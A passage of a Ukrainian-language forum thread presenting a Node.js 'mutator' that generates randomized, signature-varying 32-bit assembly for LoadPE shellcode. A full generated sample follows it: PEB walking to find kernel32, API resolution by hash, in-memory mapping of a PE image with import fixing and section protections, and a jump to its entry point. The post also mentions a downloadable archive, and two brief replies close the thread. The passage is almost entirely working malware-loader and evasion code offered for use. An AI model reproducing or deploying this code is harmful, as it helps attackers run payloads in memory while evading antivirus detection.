    e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
    cmp     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
    jne     .no_execute_read_write\n");
    e.cmd('load_c32$m32', ['PAGE_EXECUTE_READWRITE', '.section_flags']);
    e.emit('    jmp     .set_memory\n.no_execute_read_write:\n');
    r2.o.unlock(); 
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    cmp     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    jne     .no_execute_read\n");
    e.cmd('load_c32$m32', ['PAGE_EXECUTE_READ', '.section_flags']);
    e.emit('    jmp     .set_memory\n.no_execute_read:\n');
    r2.o.unlock(); 
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    cmp     "+r2.s+", IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ\n\
    jne    .no_read_write\n");
    e.cmd('load_c32$m32', ['PAGE_READWRITE', '.section_flags']);
    e.emit(['jmp','.set_memory\n.no_read_write:']);
    r2.o.unlock(); 
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit(['and', r2.s , 'IMAGE_SCN_MEM_READ', ';', 'cmp', r2.s, 'IMAGE_SCN_MEM_READ', ";", 'jne', '.no_read']);  
    e.cmd("load_c32$m32", ["PAGE_READONLY", ".section_flags"]);
    e.emit(["jmp", ".set_memory\n.no_read:"]);
    e.cmd('load_c32$m32', ['PAGE_NOACCESS', '.section_flags']);
    r2.o.unlock();
    rSectionHeader =  e.getFreeReg(p.LOCK_REG);
    rpAPITable = e.getFreeReg(p.LOCK_REG);
    raddr = e.getFreeReg(p.LOCK_REG);
    rvprotect = e.getFreeReg(p.LOCK_REG);
    e.emit('.set_memory:\n');
    e.cmd('load_m32$r32', ['pSectionHeader', rSectionHeader.i]);
    e.cmd('load_r32$m32', [raddr.i, rSectionHeader.s + ' + IMAGE_SECTION_HEADER.VirtualAddress']);
    e.emit(['add', raddr.s, 'DWORD [pImageBase]']);
    e.cmd('load_m32$r32', ['pAPITable', rpAPITable.i]);
    e.emit(['lea', rvprotect.s, '[.vprotect_ret]', ';', 'stdcall',  'DWord ['+rpAPITable.s+' + stAPITable.pVirtualProtect_kernel32], '+raddr.s+',\
 ['+rSectionHeader.s+' + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], '+rvprotect.s] );
    e.cmd('checkz_r32', [p.REG_EAX]);
    e.emit(['jz', '.Exit']);
    e.cmd('inc_m32', ['iResult'])
    e.emit('.Exit:\n');
    e.setUseForResult('iResult');
};

var setPermissions = 'proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
 local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD\n\n\
    pushad\n\
    xor         eax, eax\n\
    mov         [.retval], eax\n\
    mov         edx, [pImageFileHeader]\n\
    movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
    mov         [.number_of_sections], eax\n\
    add         edx, sizeof.IMAGE_FILE_HEADER\n\
    mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]\n\
    mov         [.image_base], eax\n\
    lea         ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]\n\
    mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]\n\
    mov         edx, sizeof.IMAGE_DATA_DIRECTORY\n\
    mul         edx\n\
    add         eax, ebx\n\
    mov         [.section_headers], eax\n\
    mov         eax, sizeof.IMAGE_SECTION_HEADER\n\
    mov         edx, [.number_of_sections]\n\
    mul         edx\n\
    add         eax, [.section_headers]\n\
    mov         ebx, [pFileImageBase]\n\
    sub         eax, ebx\n\
    mov         [.pe_header_size], eax\n\
    mov         edx, [APITable]\n\
    lea         eax, [.vprotect_ret]\n\
    stdcall     dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax\n\
    test        eax, eax\n\
    jz          .exit\n\
    mov         ecx, [.number_of_sections]\n\
    mov         ebx, [.section_headers]\n\
.load_section_loop:\n\
    stdcall     setSection, [APITable], ebx, [.image_base], [pFileImageBase]\n\
    test        eax, eax\n\
    jz          .exit\n\
    add         ebx, sizeof.IMAGE_SECTION_HEADER\n\
    loop        .load_section_loop\n\
    inc         [.retval]\n\
.exit:\n\
    popad\n\
    mov         eax, [.retval]\n\
    ret\n\
endp';

var loadFile = 'proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD\n\n\
    pushad\n\
    xor         eax, eax\n\
    mov         [.retval], eax\n\
    mov         edx, [pImageFileHeader]\n\
    movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
    mov         [.iSectNum], eax \n\
    mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]\n\
    mov         [.pImageBase], eax\n\
    lea         eax, [edx+sizeof.IMAGE_FILE_HEADER]\n\
    mov         [.pImageOptionalHeader], eax\n\
    mov         eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]\n\
    lea         edx, [.dwProtectBuff]\n\
    mov         ebx, [pAPITable]\n\
    stdcall     DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx\n\
    test        eax, eax\n\
    jz          .Exit\n\
    mov         edx, [.pImageOptionalHeader] \n'+
_.shuffle(['    lea         ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]',
 '    mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]']).join('\n')+'\n'+'\
    mov         edx, sizeof.IMAGE_DATA_DIRECTORY\n\
    mul         edx\n\
    add         eax, ebx\n\
    mov         [.pSectionHeaders], eax\n\
    mov         eax, sizeof.IMAGE_SECTION_HEADER\n\
    mov         edx, [.iSectNum]\n\
    mul         edx\n'+
_.shuffle(['    add         eax, [.pSectionHeaders]', '    mov         ebx, [pFileImageBase]']).join('\n')+'\n'+'\
    sub         eax, ebx\n\
    mov         [.iPEHeaderSize], eax\n\
    mov         edi, [.pImageBase]\n\
    mov         esi, [pFileImageBase]\n\
    mov         ecx, [.iPEHeaderSize]\n\
    rep         movsb\n\
    mov         ecx, [.iSectNum]\n\
    mov         ebx, [.pSectionHeaders]\n\
.load_section_loop:\n\
    stdcall     loadSection, ebx, [.pImageBase], [pFileImageBase]\n\
    test        eax, eax\n\
    jz          .Exit\n\
    add         ebx, sizeof.IMAGE_SECTION_HEADER\n\
    dec         ecx\n\
    jnz         .load_section_loop\n\
    inc         [.retval]\n\
.Exit:\n\
    popad\n\
    mov         eax, [.retval]\n\
    ret\n\
endp \n';

var loadImportTable = 'proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD\n\n\
local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD\n\n\
    pushad\n\
    xor         eax, eax\n\
    inc         eax\n\
    mov         [.retval], eax\n\
    mov         edx, [image_base]\n\
    mov         eax, [edx + IMAGE_DOS_HEADER.e_lfanew]\n\
    lea         eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]\n\
    mov         eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]\n\
    add         eax, edx\n\
    mov         [.import_table],eax\n\
    lea         edi, [.null_directory_entry]\n\
    mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    mov         al, 0h\n\
    rep         stosb\n\
    mov         ebx, [.import_table]\n\
.next_directory_entry:\n\
    lea         esi, [.null_directory_entry]\n\
    mov         edi, ebx\n\
    mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    rep         cmpsb\n\
    je          .exit_success\n\
    stdcall     loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx\n\
    test        eax, eax\n\
    jz          .exit_error\n\
    add         ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    jmp         .next_directory_entry\n\
.exit_success:\n\
    inc         [.retval]\n\
.exit_error:\n\
    popad\n\
    mov         eax, [.retval]\n\
    ret\n\
endp\n';

loadImportDirectoryTable = 'proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD\n\n\
  local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD\n\
    pushad\n\
    mov     eax, [directory_entry]\n\
    mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]\n\
    add     eax, [image_base]\n\
    ;load the corresponding dll\n\
    mov     ebx, [APITable]\n\
    stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax\n\
    test    eax,eax\n\
    jz      .exit_error\n\
    mov     [.dll_image_base],eax\n\
    mov     edx, [directory_entry]\n\
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]\n\
    add     eax, [image_base]\n\
    mov     [.lookup_table], eax\n\
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]\n\
    add     eax, [image_base]\n\
    mov     [.import_address_table],eax\n\
    xor     ecx, ecx\n\n\
.next_lookup_entry:\n\
    mov     eax, [.lookup_table]\n\
    add     eax, ecx\n\
    mov     eax, [eax]\n\
    test    eax,eax\n\
    jz      .exit_success\n\
    mov     ebx, eax\n\
    and     eax, IMAGE_ORDINAL_FLAG32\n\
    jnz     .exit_error\n\
.byname:\n\
    add     ebx, [image_base]\n\
    lea     ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]\n\
    mov     eax, ebx\n\
    push    ecx\n\
    stdcall GetHashSz, ebx\n\
    stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax\n\
    pop     ecx\n\
    test    eax, eax\n\
    jz      .exit_error\n\
    mov     ebx, [.import_address_table]\n\
    add     ebx, ecx\n\
    mov     [ebx], eax\n\
    add     ecx, 4\n\
    jmp     .next_lookup_entry\n\
.exit_success:\n\
    popad\n\
    xor eax,eax\n\
    inc eax\n\
    ret\n\
.exit_error:\n\
    popad\n\
    xor eax, eax\n\
    ret\n\
endp\n';

function fVerifyPE(e, r, v) {
    var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['pImagePE', r1.i]);
    e.cmd('check_c16$m16', [0x5A4D, r1.s]) 
    e.emit(['jnz', '.Exit']);
    e.cmd('load_m32$r32', [r1.s+'+IMAGE_DOS_HEADER.e_lfanew', r2.i]);
    e.cmd('add_r32$r32', [r2.i, r1.i]);
    r2.o.unlock();
    e.cmd('check_c32$m32', [0x4550, r1.s]);
    e.emit(['jne', '.Exit']);
    e.cmd('add_c32$r32', [0x4, r1.i]);
    e.emit('.Exit:\n');
    e.setUseForResult(r1.i);
};

function fLoadPE(e, r, v, prm){
    headerz = tc.followApiTable(e, prm.ta);
    v.add('pImageBase'); v.add('pFileHeader'); v.add('pAPITable');
    eval(_.shuffle([" e.cmd('load_c32$m32', [prm.imagebase, 'pImageBase']);", 
    "var rx = e.getFreeReg(p.LOCK_REG); e.emit(['lea', rx.s, '[APITable]']);\
    e.cmd('load_r32$m32', [rx.i, 'pAPITable']); rx.o.unlock();"]).join('\n'));
    e.emit(['stdcall', 'verifyPE', '[pPEImage]']);
    e.cmd('checkz_r32', [p.REG_EAX]);  
    e.emit(['jz', '.End']);
    e.cmd('load_r32$m32', [p.REG_EAX, 'pFileHeader']);
    e.emit(['stdcall', 'loadFile', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
    e.cmd('checkz_r32', [p.REG_EAX]);  
    e.emit(['jz', '.End']);
    e.emit(['stdcall', 'loadImportTable', '[pAPITable]', '[pGetHashSz]', '[pImageBase]']);
    e.cmd('checkz_r32', [p.REG_EAX]);  
    e.emit(['jz', '.End']);
    e.emit(['stdcall', 'setPermissions', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
    e.emit(['mov', 'esi', '[pFileHeader]', ';', 'mov', 'eax', '[esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]']);
    e.emit(['add', 'eax', '[pImageBase]']);
    e.emit(['jmp', 'eax']);
    e.emit('.End:\n');
};

var oVerifyPE = tc.CodeSnippet('verifyPE', 'stdcall', ['pImagePE'], fVerifyPE); 
var oMainFnc = tc.CodeSnippet('loadPE_main', 'stdcall', ['pPEImage', 'pMyAddr'], fLoadPE, {ta:tableApi, imagebase: 0x400000});
var oSetSection = tc.CodeSnippet('setSection', 'stdcall', ['pAPITable', 'pSectionHeader', 'pImageBase', 'pFileImageBase'], fSetSection);
//console.log(oMainFnc.code);

var code = headerz + _.shuffle([oMainFnc.code, oVerifyPE.code, loadSection, loadFile, setPermissions, oSetSection.code, procz[0].code,
    procz[1].code, procz[2].code, procz[3].code, loadImportTable, loadImportDirectoryTable]).join('\n');
var xcode = "use32\n\nformat binary\n\ninclude '%FASM%\\INCLUDE\\win32a.inc'\ninclude 'pe.inc'\n\nstart:\n\njmp loadPE_main\n\n"+code;
fs.writeFileSync('libloadpe.asm', xcode);

Приклад створеного коду

Одчинити
use32

format binary

include '%FASM%\INCLUDE\win32a.inc'
include 'pe.inc'

start:

jmp loadPE_main

struct stAPITable
 pVirtualProtect_kernel32                dd ?
 pLoadLibraryA_kernel32                  dd ?
ends

proc    AltGetProcAddressByHash hLib, fHashProc, iHashVal
  local   iResult:DWORD
    pusha
    mov     ecx, DWord [hLib]
    mov     DWord [iResult], DWORD 0x0
    cmp     Word [ecx], WORD 0x5a4d
    jne     .End
    movzx   edi, Word [ecx+0x3c]
    lea     edi, [ecx+edi]
    cmp     DWord [edi], DWORD 0x4550
    jne     .End
    mov     eax, DWord [edi+0x78]
    lea     eax, [ecx+eax]
    mov     ebx, DWord [eax+0x18]
    push    eax
    xor     esi, esi
    push    DWord [eax+0x20]
    pop     edx
    lea     edx, [ecx+edx]
.MainLoop:
    mov     eax, DWord [edx]
    lea     eax, [ecx+eax]
    push    eax
    stdcall [fHashProc], eax
    cmp     eax, DWord [iHashVal]
    pop     eax
    jz      .FoundProcname
    sub     esi, -1
    lea     edx, [edx+0x4]
    sub     ebx, 0x1
    or      ebx, ebx
    jnz     .MainLoop
    pop     edi
    jmp     .End
.FoundProcname:
    pop     edx
    shl     esi, 1
    add     esi, DWord [edx+0x24]
    movzx   eax, Word [esi+ecx]
    lea     eax, [eax*4+ecx]
    add     eax, DWord [edx+0x1C]
    mov     edx, DWord [eax]
    lea     edx, [ecx+edx]
    push    edx
    pop     DWord [iResult]
.End:
    popa
    mov     eax, DWord [iResult]
    ret
endp

proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD

local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD

    pushad
    xor         eax, eax
    mov         [.retval], eax
    mov         edx, [pImageFileHeader]
    movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov         [.iSectNum], eax 
    mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]
    mov         [.pImageBase], eax
    lea         eax, [edx+sizeof.IMAGE_FILE_HEADER]
    mov         [.pImageOptionalHeader], eax
    mov         eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
    lea         edx, [.dwProtectBuff]
    mov         ebx, [pAPITable]
    stdcall     DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx
    test        eax, eax
    jz          .Exit
    mov         edx, [.pImageOptionalHeader] 
    lea         ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    mov         edx, sizeof.IMAGE_DATA_DIRECTORY
    mul         edx
    add         eax, ebx
    mov         [.pSectionHeaders], eax
    mov         eax, sizeof.IMAGE_SECTION_HEADER
    mov         edx, [.iSectNum]
    mul         edx
    add         eax, [.pSectionHeaders]
    mov         ebx, [pFileImageBase]
    sub         eax, ebx
    mov         [.iPEHeaderSize], eax
    mov         edi, [.pImageBase]
    mov         esi, [pFileImageBase]
    mov         ecx, [.iPEHeaderSize]
    rep         movsb
    mov         ecx, [.iSectNum]
    mov         ebx, [.pSectionHeaders]
.load_section_loop:
    stdcall     loadSection, ebx, [.pImageBase], [pFileImageBase]
    test        eax, eax
    jz          .Exit
    add         ebx, sizeof.IMAGE_SECTION_HEADER
    dec         ecx
    jnz         .load_section_loop
    inc         [.retval]
.Exit:
    popad
    mov         eax, [.retval]
    ret
endp 

proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD

  local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
    pushad
    mov     eax, [directory_entry]
    mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
    add     eax, [image_base]
    ;load the corresponding dll
    mov     ebx, [APITable]
    stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
    test    eax,eax
    jz      .exit_error
    mov     [.dll_image_base],eax
    mov     edx, [directory_entry]
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
    add     eax, [image_base]
    mov     [.lookup_table], eax
    mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
    add     eax, [image_base]
    mov     [.import_address_table],eax
    xor     ecx, ecx

.next_lookup_entry:
    mov     eax, [.lookup_table]
    add     eax, ecx
    mov     eax, [eax]
    test    eax,eax
    jz      .exit_success
    mov     ebx, eax
    and     eax, IMAGE_ORDINAL_FLAG32
    jnz     .exit_error
.byname:
    add     ebx, [image_base]
    lea     ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
    mov     eax, ebx
    push    ecx
    stdcall GetHashSz, ebx
    stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
    pop     ecx
    test    eax, eax
    jz      .exit_error
    mov     ebx, [.import_address_table]
    add     ebx, ecx
    mov     [ebx], eax
    add     ecx, 4
    jmp     .next_lookup_entry
.exit_success:
    popad
    xor eax,eax
    inc eax
    ret
.exit_error:
    popad
    xor eax, eax
    ret
endp

proc    verifyPE pImagePE
    push    esi
    push    DWord [pImagePE]
    pop     eax
    cmp     Word [eax], WORD 0x5a4d
    jnz     .Exit
    push    DWord [eax+IMAGE_DOS_HEADER.e_lfanew]
    pop     esi
    lea     eax, [esi+eax]
    cmp     DWord [eax], DWORD 0x4550
    jne     .Exit
    lea     eax, [eax+0x4]
.Exit:
    pop     esi
    ret
endp

proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD

 local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD

    pushad
    xor         eax, eax
    mov         [.retval], eax
    mov         edx, [pImageFileHeader]
    movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov         [.number_of_sections], eax
    add         edx, sizeof.IMAGE_FILE_HEADER
    mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
    mov         [.image_base], eax
    lea         ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    mov         edx, sizeof.IMAGE_DATA_DIRECTORY
    mul         edx
    add         eax, ebx
    mov         [.section_headers], eax
    mov         eax, sizeof.IMAGE_SECTION_HEADER
    mov         edx, [.number_of_sections]
    mul         edx
    add         eax, [.section_headers]
    mov         ebx, [pFileImageBase]
    sub         eax, ebx
    mov         [.pe_header_size], eax
    mov         edx, [APITable]
    lea         eax, [.vprotect_ret]
    stdcall     dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax
    test        eax, eax
    jz          .exit
    mov         ecx, [.number_of_sections]
    mov         ebx, [.section_headers]
.load_section_loop:
    stdcall     setSection, [APITable], ebx, [.image_base], [pFileImageBase]
    test        eax, eax
    jz          .exit
    add         ebx, sizeof.IMAGE_SECTION_HEADER
    loop        .load_section_loop
    inc         [.retval]
.exit:
    popad
    mov         eax, [.retval]
    ret
endp
proc    setSection pAPITable, pSectionHeader, pImageBase, pFileImageBase
  local   .section_flags:DWORD
  local   iResult:DWORD
  local   .vprotect_ret:DWORD
    push    edi
    push    esi
    push    edx
    push    ecx
    push    eax
    mov     DWord [iResult], DWORD 0x0
    push    DWord [pSectionHeader]
    pop     edi
;section execute/read/write?
    push    DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    pop     edx
    and     edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    cmp     edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    jne     .no_execute_read_write
    push    PAGE_EXECUTE_READWRITE
    pop     DWord [.section_flags]
    jmp     .set_memory
.no_execute_read_write:
    mov     esi, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    and     esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    cmp     esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    jne     .no_execute_read
    push    PAGE_EXECUTE_READ
    pop     DWord [.section_flags]
    jmp     .set_memory
.no_execute_read:
    mov     ecx, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    and     ecx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    cmp     ecx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
    jne    .no_read_write
    push    PAGE_READWRITE
    pop     DWord [.section_flags]
    jmp     .set_memory
.no_read_write:
    push    DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    pop     ecx
    and     ecx, IMAGE_SCN_MEM_READ
    cmp     ecx, IMAGE_SCN_MEM_READ
    jne     .no_read
    push    PAGE_READONLY
    pop     DWord [.section_flags]
    jmp     .set_memory
.no_read:
    mov     DWord [.section_flags], PAGE_NOACCESS
.set_memory:
    mov     ecx, DWord [pSectionHeader]
    mov     DWord [ecx + IMAGE_SECTION_HEADER.VirtualAddress], eax
    add     eax, DWORD [pImageBase]
    mov     edx, DWord [pAPITable]
    lea     esi, [.vprotect_ret]
    stdcall DWord [edx + stAPITable.pVirtualProtect_kernel32], eax, [ecx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], esi
    or      eax, eax
    jz      .Exit
    sub     DWord [iResult], -1
.Exit:
    pop     eax
    pop     ecx
    pop     edx
    pop     esi
    pop     edi
    push    DWord [iResult]
    pop     eax
    ret
endp

proc    GetK32 
  local   iResult:DWORD
    push    esi
    push    ecx
    push    ebx
    push    eax
    mov     eax, DWord [fs:0x30]
    push    DWord [eax+0xC]
    pop     ebx
    push    DWord [ebx+0x1C]
    pop     esi
.NextModule:
    push    DWord [esi+0x8]
    pop     DWord [iResult]
    mov     eax, DWord [esi+0x20]
    push    DWord [esi]
    pop     esi
    movzx   ecx, Byte [eax+0x18]
    test    ecx, ecx
    jne     .NextModule
    movzx   ecx, Byte [eax]
    cmp     ecx, 0x6b
    je      .Found_K32
    cmp     ecx, 0x4b
    jne     .NextModule
.Found_K32:
    pop     eax
    pop     ebx
    pop     ecx
    pop     esi
    push    DWord [iResult]
    pop     eax
    ret
endp

proc    GetHashSz strz
    push    esi
    push    edx
    push    DWord [strz]
    pop     esi
    push    DWORD 0x0
    pop     edx
    push    edx
.CalcHash:
    ror     edx, 7
    xor     [esp], edx
    mov     dl, Byte [esi]
    sub     esi, -1
    or      dl, dl
    jnz     .CalcHash
    pop     eax
    pop     edx
    pop     esi
    ret
endp

proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD

local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD

    pushad
    xor         eax, eax
    inc         eax
    mov         [.retval], eax
    mov         edx, [image_base]
    mov         eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
    lea         eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
    mov         eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
    add         eax, edx
    mov         [.import_table],eax
    lea         edi, [.null_directory_entry]
    mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    mov         al, 0h
    rep         stosb
    mov         ebx, [.import_table]
.next_directory_entry:
    lea         esi, [.null_directory_entry]
    mov         edi, ebx
    mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    rep         cmpsb
    je          .exit_success
    stdcall     loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
    test        eax, eax
    jz          .exit_error
    add         ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    jmp         .next_directory_entry
.exit_success:
    inc         [.retval]
.exit_error:
    popad
    mov         eax, [.retval]
    ret
endp

proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD 

    pushad 
    mov     esi, [pFileImageBase]
    mov     edx, [pSectionHeader]
    mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
    mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
    add     edi, [image_base]
    add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
    cld
    rep     movsb
    popad
    ret
endp

proc    loadPE_main pPEImage, pMyAddr
  local   APITable:QWORD
  local   pFileHeader:DWORD
  local   hkernel32:DWORD
  local   iResult:DWORD
  local   pImageBase:DWORD
  local   pAPITable:DWORD
  local   pGetHashSz:DWORD
    push    esi
    mov     ebx, DWord [pMyAddr]
    lea     ebx, [ebx+GetHashSz]
    push    ebx
    pop     DWord [pGetHashSz]
    call    GetK32
    mov     DWord [hkernel32], eax
    stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
    push    eax
    pop     DWord [APITable+stAPITable.pLoadLibraryA_kernel32]
    stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
    mov     DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
    lea     esi, [APITable]
    mov     DWord [pAPITable], esi
    mov     DWord [pImageBase], DWORD 0x400000
    stdcall verifyPE, [pPEImage]
    test    eax, eax
    jz      .End
    mov     DWord [pFileHeader], eax
    stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage]
    test    eax, eax
    jz      .End
    stdcall loadImportTable, [pAPITable], [pGetHashSz], [pImageBase]
    test    eax, eax
    jz      .End
    stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage]
    mov     esi, [pFileHeader]
    mov     eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
    add     eax, [pImageBase]
    jmp     eax
.End:
    pop     esi
    push    DWord [iResult]
    pop     eax
    ret
endp

proc    GetNtdll 
  local   iResult:DWORD
    pusha
    push    DWord [fs:0x30]
    pop     edx
    push    DWord [edx+0xC]
    pop     ebx
    push    DWord [ebx+0x1C]
    pop     edi
    push    DWord [edi+0x8]
    pop     DWord [iResult]
    popa
    push    DWord [iResult]
    pop     eax
    ret
endp
Post's attachments

mutable.loadpe.shellcode.zip 52.18 kb, 1929 downloads since 2014-12-30 

Подякували: Chemist-i, sheva740, Pernat1y, /KIT\4

2

Re: [NODE JS] Мутатор LoadPE шеллкоду

Добрий день.
Хочу отримати дозвіл позадавати ламерськи запитання по
"LLVM для бідних".
Чи можна, не зацькуете?
))

3

Re: [NODE JS] Мутатор LoadPE шеллкоду

Що, я такий страшний? До того ж розробка ламерська, тому інших питань і бути не може.